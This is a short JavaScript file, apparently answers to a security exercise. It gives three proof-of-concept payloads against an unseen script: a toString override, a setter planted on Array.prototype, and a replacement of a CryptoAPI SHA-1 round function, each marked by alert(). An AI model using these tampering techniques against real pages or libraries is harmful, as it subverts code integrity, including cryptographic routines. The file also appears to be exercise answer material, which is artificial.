exploit.js

/* Question (i) and (ii)
 * Exploit on: Line 13 */
var x = {toString: function(){ alert("1"); return 1 }}

/* Question (iii) and (iv)
 * Exploit on: Line 38 */
var x = "h4x0r";
Object.defineProperty(Array.prototype, '0', {
    set: function(val) {
        if (this.length == 0) { // This part is important so that the exploit is only run once
            alert("2");
        }
    }
});

/* Question (v) and (vi)
 * Exploit on: Line 49 */
var x = "h4x0r"; 
CryptoAPI.sha1._round = function(H, w){ alert("3") };